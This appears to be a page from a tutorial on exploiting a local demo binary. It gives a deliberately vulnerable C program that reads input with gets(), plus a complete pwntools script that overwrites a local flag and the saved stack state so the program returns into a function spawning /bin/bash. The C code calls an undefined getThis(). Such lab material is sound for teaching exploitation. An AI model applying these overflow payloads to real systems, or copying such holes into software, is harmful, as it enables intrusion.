Skip to content

Stack pivot and custom return path

This example combines a local flag overwrite with a custom return path. It preserves the checked string, changes protect to 97, then changes saved stack state so the epilogue takes EIP from the word containing realFunc.

void realFunc(void) { system("/bin/bash"); }
int main(void) {
int protect = 1;
char secure[] = "secure";
char buf[8];
gets(buf);
if (strcmp(secure, "secure") != 0) return 0;
if (protect == 97) getThis();
}
from pwn import *
realFunc = 0x080491a6
ebp = 0xffffc668 # observed for this local run
p = process("./stack-pivot-demo", aslr=False)
payload = b"A" * 8 # buf (8 bytes)
payload += b"secure\x00" # secure (7 bytes plus NUL)
payload += p32(0x61) # protect = 97; lets execution reach getThis()
payload += b"B" * 4 # filler in this build's frame layout
payload += p32(ebp + 8) # saved ECX: epilogue makes ret pop from EBP+4
payload += b"C" * 4 # saved EBP
payload += p32(realFunc) # address consumed by ret
p.sendline(payload)
p.interactive()
Bytes Purpose in this build
A × 8 Fills buf.
secure\0 Leaves the strcmp check satisfied.
p32(0x61) Sets protect to decimal 97.
B × 4 Matches the observed padding.
p32(ebp + 8) Changes saved ECX so the epilogue adjusts the stack to the target word.
C × 4 Fills the saved frame-pointer slot.
p32(realFunc) Becomes the next return address.

p32 and these addresses assume a 32-bit, little-endian, non-PIE build. realFunc must match the exact executable. ebp is stack state observed in the local debugger; it can change with compiler flags, environment, arguments, or process setup. aslr=False asks pwntools to disable address randomization for this local process, but still verify the actual frame each run.

This layout is specific to the example binary’s compiler output. Re-measure it in GDB/pwndbg before adapting it. For a normal saved-return overwrite without this saved-register adjustment, see Ret2win.